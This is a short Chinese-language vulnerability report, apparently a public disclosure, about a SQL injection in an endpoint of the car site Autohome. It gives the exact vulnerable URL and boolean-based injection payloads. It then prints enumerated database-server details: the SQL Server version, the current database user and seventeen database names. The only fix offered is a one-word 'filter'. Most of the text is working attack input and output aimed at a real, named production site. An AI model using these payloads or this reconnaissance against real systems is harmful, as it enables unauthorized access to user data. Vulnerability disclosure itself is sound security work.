汽车之家SQL注射下载

汽车之家SQL注入漏洞http://www.autohome.com.cn/ashx/AjaxAccountInfo.ashx?users=3914441

正常情况：

http://www.autohome.com.cn/ashx/AjaxAccountInfo.ashx?users=3914441'

加单引号，无返回

http://www.autohome.com.cn/ashx/AjaxAccountInfo.ashx?users=3914441) AND 1=1 AND (8=8

返回与正常情况一样

 

http://www.autohome.com.cn/ashx/AjaxAccountInfo.ashx?users=3914441) AND 1=2 AND (8=8

无数据集

DBMS:Microsoft SQL Server 2008 (SP2) - 10.0.4000.0 (X64)

current user: 'usercenteradmin'



available databases [17]:

[*] Club

[*] master

[*] model

[*] MONITOR

[*] msdb

[*] OpenAPI

[*] OpenAPIbk

[*] OpenApiLog

[*] PersonalSpace

[*] PersonalSpaceLog

[*] Replication

[*] tempdb

[*] UCLog

[*] UserCenter

[*] UserCenterJob

[*] UserCenterLog

[*] VS_Monitor



具体数据就不深入了

修复方案：

过滤